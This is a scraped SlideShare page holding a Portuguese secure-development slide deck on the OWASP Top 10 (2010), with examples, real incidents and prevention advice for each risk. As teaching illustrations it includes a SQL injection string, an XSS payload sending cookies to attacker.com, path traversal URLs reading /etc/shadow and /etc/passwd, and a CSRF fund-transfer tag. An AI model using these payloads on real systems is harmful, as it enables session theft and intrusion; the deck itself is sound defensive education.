Ameacas e Vulnerabilidades em Apps Web-2013Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013
 
Sql injection
Sql injectionSql injection
Sql injection
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifacts
 

Último

se38_layout_erro_xxxxxxxxxxxxxxxxxx.docx
se38_layout_erro_xxxxxxxxxxxxxxxxxx.docxse38_layout_erro_xxxxxxxxxxxxxxxxxx.docx
se38_layout_erro_xxxxxxxxxxxxxxxxxx.docx
ronaldos10
 
Ferramentas que irão te ajudar a entrar no mundo de DevOps/CLoud
Ferramentas que irão te ajudar a entrar no mundo de   DevOps/CLoudFerramentas que irão te ajudar a entrar no mundo de   DevOps/CLoud
Ferramentas que irão te ajudar a entrar no mundo de DevOps/CLoud
Ismael Ash
 
Aula combustiveis mais utilizados na indústria
Aula combustiveis mais utilizados na indústriaAula combustiveis mais utilizados na indústria
Aula combustiveis mais utilizados na indústria
zetec10
 
Apresentação sobre Deep Web e anonimização
Apresentação sobre Deep Web e anonimizaçãoApresentação sobre Deep Web e anonimização
Apresentação sobre Deep Web e anonimização
snerdct
 
Subindo uma aplicação WordPress em docker na AWS
Subindo uma aplicação WordPress em docker na AWSSubindo uma aplicação WordPress em docker na AWS
Subindo uma aplicação WordPress em docker na AWS
Ismael Ash
 
INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...
INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...
INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...
Faga1939
 

Último (6)

se38_layout_erro_xxxxxxxxxxxxxxxxxx.docx
se38_layout_erro_xxxxxxxxxxxxxxxxxx.docxse38_layout_erro_xxxxxxxxxxxxxxxxxx.docx
se38_layout_erro_xxxxxxxxxxxxxxxxxx.docx
 
Ferramentas que irão te ajudar a entrar no mundo de DevOps/CLoud
Ferramentas que irão te ajudar a entrar no mundo de   DevOps/CLoudFerramentas que irão te ajudar a entrar no mundo de   DevOps/CLoud
Ferramentas que irão te ajudar a entrar no mundo de DevOps/CLoud
 
Aula combustiveis mais utilizados na indústria
Aula combustiveis mais utilizados na indústriaAula combustiveis mais utilizados na indústria
Aula combustiveis mais utilizados na indústria
 
Apresentação sobre Deep Web e anonimização
Apresentação sobre Deep Web e anonimizaçãoApresentação sobre Deep Web e anonimização
Apresentação sobre Deep Web e anonimização
 
Subindo uma aplicação WordPress em docker na AWS
Subindo uma aplicação WordPress em docker na AWSSubindo uma aplicação WordPress em docker na AWS
Subindo uma aplicação WordPress em docker na AWS
 
INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...
INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...
INTELIGÊNCIA ARTIFICIAL + COMPUTAÇÃO QUÂNTICA = MAIOR REVOLUÇÃO TECNOLÓGICA D...
 

Desenvolvimento de Software Seguro

  • 2.  Por que software seguro?  Conceitos básicos  Princípios de segurança  OWASPTop 10
  • 3.  Esta apresentação não é sobre a HP  A HP não é responsável pelas opiniões apresentadas aqui
  • 5. Network Application Database Server Web Server Application Server Operating System Fonte de 95% das vulnerabilidades (Software Security Testing: Let’s Get Back to Basics) Alvo de 75% dos ataques (Now Is the Time for Security at the Application Level)
  • 6. Explosão no número de vulnerabilidades * National Vulnerabilty Database
  • 7. A vantagem de corrigir cedo
  • 9.  CIA  Confidencialidade  Integridade  Disponibilidade (Availability)  AAA  Autenticação  Autorização  Auditoria
  • 23.  OWASP ▪ Open Web Application Security Project (Projeto Aberto de Segurança de Aplicações Web) ▪ Organização internacional ▪ Sem fins lucrativos ▪ Contribui para a melhoria da segurança de software  OWASPTop 10  Conscientização sobre segurança de aplicações, identificando alguns dos maiores riscos que as organizações enfrentam.
  • 24. Versão 2010: risco x prevalência  A1: Injection  A2: Cross-Site Scripting (XSS)  A3: Broken Authentication and Session Management  A4: Insecure Direct Object References  A5: Cross-Site Request Forgery (CSRF)  A6: Security Misconfiguration  A7: Insecure Cryptographic Storage  A8: Failure to Restrict URLAccess  A9: InsufficientTransport Layer Protection  A10: Unvalidated Redirects and Forwards
  • 25. A1: Injection  Visão geral ▪ Dados não confiáveis enviados para um interpretador como parte de um comando/consulta ▪ Interpretador executa um comando malicioso ▪ Interpretadores: ▪ Bancos de dados ▪ Servidores LDAP ▪ Shell  Vulnerabilidades associadas ▪ CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') ▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • 26. A1: Injection  Exemplo  A aplicação usa dados não-confiáveis na construção da consulta SQL: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";  O atacante modifica o parâmetro ‘id’ no browser para enviar ' or '1'='1: http://example.com/app/accountView?id=' or '1'='1  E a consulta executada é: SELECT * FROM accounts WHERE custID='' or '1'='1'
  • 27. A1: Injection  Exemplos reais de SQL injection  Microsoft UK (junho/2007) ▪ Defacement  Nações Unidas (agosto/2007) ▪ Defacement
  • 28. A1: Injection  Exemplos reais de SQL injection  Sony Pictures (junho/2011) ▪ Milhares de contas (1M x 37K) ▪ Nomes ▪ Senhas ▪ Endereços de e-mail ▪ Endereços residenciais ▪ Datas de nascimento  Yahoo!Voices (julho/2012) ▪ Mais de 400K contas ▪ Usernames ▪ Senhas não criptografadas
  • 29. A1: Injection  Prevenção  Consultas parametrizadas: os dados são separados dos comandos String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, custname); ResultSet results = pstmt.executeQuery();
  • 30. A2: Cross Site Scripting (XSS)  Visão geral ▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, por exemplo) ▪ Aplicação repassa dados para o browser da vítima ▪ Browser da vítima executa os comandos  Vulnerabilidades associadas ▪ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • 31. A2: Cross Site Scripting (XSS)  Exemplo  A aplicação usa dados não-confiáveis na construção de código HTML: (String) page += “<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";  O atacante cria uma URL para esta página, modificando o parâmetro CC para: ‘><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>  Ao processar a URL, o browser do usuário processa a página contendo o JavaScript e o ID da sessão do usuário é enviado para o website do atacante.
  • 32. A2: Cross Site Scripting (XSS)  Exemplos reais  barackobama.com (abril/2008) ▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com  votehillary.org (abril/2008) ▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
  • 33. A2: Cross Site Scripting (XSS)  Prevenção ▪ Encoding/escaping de dados na entrada e na saída ▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução) ▪ Proteger cookies com o atributo HttpOnly
  • 34. A3: Broken Authentication and Session Management  Visão geral ▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessão para assumir a identidade do usuário. ▪ Alvos: contas, senhas e IDs de sessão  Vulnerabilidades associadas ▪ CWE-287: Improper Authentication
  • 35. A3: Broken Authentication and Session Management  Exemplos  Usuário autenticado informa os amigos sobre a passagem que comprou: http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Ha waii  Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
  • 36. A3: Broken Authentication and Session Management  Exemplos reais  Timeout da aplicação não é definido apropriadamente:
  • 37. A3: Broken Authentication and Session Management  Exemplos reais  Senhas não criptografadas no banco de dados: ▪ DreamHost (janeiro/2012) ▪ Billabong (julho/2012)
  • 38. A3: Broken Authentication and Session Management  Prevenção ▪ Adicione um timeout à sessão para reduzir a janela de oportunidade ▪ Use funções de hash e “salt” para armazenar senhas ▪ Transmita as credenciais somente sobre HTTPS
  • 39. A4: Insecure Direct Object References  Visão geral ▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de um parâmetro que aponta para um objeto do sistema (arquivo, registro, etc.) ▪ A aplicação não verifica as permissões necessárias e dá acesso indevido às informações  Vulnerabilidades associadas ▪ CWE-639: Authorization BypassThrough User-Controlled Key ▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • 40. A4: Insecure Direct Object References  Exemplo  A aplicação usa dados não verificados numa consulta SQL acessando informações da conta: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , ...); pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery();  O atacante modifica o parâmetro ‘acct’ no browser para enviar o número da conta que ele quiser: http://example.com/app/accountInfo?acct=notmyacct
  • 41. A4: Insecure Direct Object References  Exemplo  A aplicação abre arquivos que são determinados pelo usuário http://some_site.com/../../../../etc/shadow http://some_site.com/get-files?file=/etc/passwd  Exemplos de path traversal em servidores web: ▪ Nginx (CVE-2009-3898) ▪ ApacheTomcat (CVE-2009-2902) ▪ IIS (CVE-2000-0884)
  • 42. A4: Insecure Direct Object References  Exemplos reais  Dados de outros usuários acessados com pequenas mudanças na URL: ▪ Passport Canada (dezembro/2007) ▪ Citibank (junho/2011)
  • 43. A4: Insecure Direct Object References  Prevenção ▪ Verifique se o usuário tem permissão para acessar o objeto requerido ▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root” ▪ Normalize/canonicalize a requisição antes de validá-la ▪ Transforme %2e%2e%5c em ..
  • 44. A5: Cross-Site Request Forgery (CSRF)  Visão geral ▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação web vulnerável ▪ Browser inclui automaticamente dados de autenticação do usuário ▪ Aplicação executa o comando em função da confiança que tem no usuário  Vulnerabilidades associadas ▪ CWE-352: Cross-Site Request Forgery (CSRF)
  • 45. A5: Cross-Site Request Forgery (CSRF)  Exemplo  Site do banco recebe requisições de transferência no seguinte formato: http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243  Atacante monta uma requisição maliciosa e a insere numa tag de imagem ou iframe: <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />  Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irá transferir o dinheiro para o atacante.
  • 46. A5: Cross-Site Request Forgery (CSRF)  Exemplo reais  Vulnerabilidades de CSRF permitiam: ▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.) ▪ Postar comentários ▪ Seguir usuários/perfis
  • 47. A5: Cross-Site Request Forgery (CSRF)  Prevenção ▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisição HTTP ▪ Limitar o tempo de vida dos cookies de sessão
  • 48. A6: Security Misconfiguration  Visão geral ▪ É necessária uma configuração segura definida para a aplicação, frameworks, servidores de aplicação, servidores web, bancos de dados e plataforma. ▪ Inclui configurações default e atualização de pacotes  Vulnerabilidades associadas ▪ CWE-2: Environment
  • 49. A6: Security Misconfiguration  Exemplo real  Locaweb (setembro/2010) ▪ Vulnerabilidade no kernel Linux (CVE-2010-3081) ▪ Mais de 25 mil sites atacados ▪ Troca de acusações entre Locaweb e Red Hat
  • 50. A6: Security Misconfiguration  Prevenção ▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado com todos updates e patches ▪ Desabilite serviços, portas, contas e privilégios desnecessários ▪ Modifique ou desabilite senhas default
  • 51. A7: Insecure Cryptographic Storage  Visão geral  Muitas aplicações não protegem adequadamente dados sensíveis: ▪ Não criptografam os dados ▪ Usam algoritmos inadequados ▪ Não protegem as chaves criptográficas  Vulnerabilidades associadas ▪ CWE-310: Cryptographic Issues ▪ CWE-312: Cleartext Storage of Sensitive Information ▪ CWE-326: Inadequate Encryption Strength
  • 52. A7: Insecure Cryptographic Storage  Exemplo real  LinkedIn (junho/2012) ▪ Vazamento de 6,5 milhões de senhas criptografadas ▪ Senhas armazenadas como hashes SHA-1 ▪ Não utilizavam “salt” ▪ Vulneráveis a um ataque com “rainbow tables”
  • 53. A7: Insecure Cryptographic Storage  Prevenção ▪ Identifique quais são os dados sensíveis ▪ Use as proteções adequadas ▪ Algoritmos seguros ▪ Criptografia do sistema de arquivos ▪ Criptografia de registros no banco de dados ▪ Funções de hash com “salt” para armazenar senhas ▪ Gerenciamento de chaves criptográficas ▪ Geração ▪ Armazenamento
  • 54. A8: Failure to Restrict URL Access  Visão geral ▪ O atacante, que é um usuário do sistema, altera a URL para apontar para uma página privilegiada. ▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquela página  Vulnerabilidades associadas ▪ CWE-285: Improper Authorization
  • 55. A8: Failure to Restrict URL Access  Exemplo real  D-Link DSL-504T (CVE-2005-1827) ▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URL http://ipdoroteador/cgi-bin/firmwarecfg ▪ Com este acesso, o usuário podia ▪ Atualizar o firmware ▪ Reiniciar o roteador ▪ Restaurar uma configuração salva
  • 56. A8: Failure to Restrict URL Access  Prevenção ▪ Inclua controles de autenticação e autorização em cada página ▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir o esforço de manutenção ▪ O mecanismo de autorização deve negar todos acessos por default, exigindo permissões explícitas para cada página
  • 57. A9: InsufficientTransport Layer Protection  Visão geral  Aplicações falham em autenticar, criptografar e proteger a confidencialidade e integridade de tráfego de rede sensível.  Vulnerabilidades associadas ▪ CWE-319: Cleartext Transmission of Sensitive Information
  • 58. A9: InsufficientTransport Layer Protection  Exemplo real  MI-5 (abril/2012) ▪ Certificado SSL expirado
  • 59. A9: InsufficientTransport Layer Protection  Exemplo real  Firesheep (outubro/2010) ▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
  • 60. A9: InsufficientTransport Layer Protection  Prevenção ▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versões HTTPS. ▪ Proteja os cookies com o atributo Secure ▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes: ▪ Domínios ▪ Validade ▪ Autoridade certificadora (CA)
  • 61. A10: Unvalidated Redirects and Forwards  Visão geral  A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetros do usuário para de terminar o destino. Um atacante pode criar uma URL com um domínio conhecido, mas que levará o usuário para uma página maliciosa.  Vulnerabilidades associadas ▪ CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  • 62. A10: Unvalidated Redirects and Forwards  Exemplo  A aplicação tem uma página chamada “redirect.jsp”, que recebe um parâmetro “url”. O atacante constrói uma URL que redireciona usuários para um site malicioso que faz phishing e instala malwares: http://www.example.com/redirect.jsp?url=evil.com  Exemplo real  Trac (CVE-2008-2951) ▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através de uma URL no parâmetro q.
  • 63. A10: Unvalidated Redirects and Forwards  Prevenção ▪ Não use redirects ▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino ▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
  • 65.  Livros  Sites  www.owasp.org  cwe.mitre.org  Notícias  nakedsecurity.sophos.com  thehackernews.com  www.forbes.com/sites/andygreenberg/  www.h-online.com  www.net-security.org  www.securitybloggersnetwork.com  @augusto_ludtke

Notas do Editor

  1. http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  2. http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  3. http://en.wikipedia.org/wiki/Prepared_statement
  4. http://news.netcraft.com/archives/2008/04/21/hacker_redirects_barack_obamas_site_to_hillaryclintoncom.htmlhttp://news.netcraft.com/archives/2008/04/24/clinton_and_obama_xss_battle_develops.html
  5. Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim&apos;s name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser&apos;s internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one&apos;s own systems).[4]http://www.youtube.com/watch?v=06F6y2QpPbQ
  6. Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim&apos;s name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser&apos;s internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one&apos;s own systems).[4]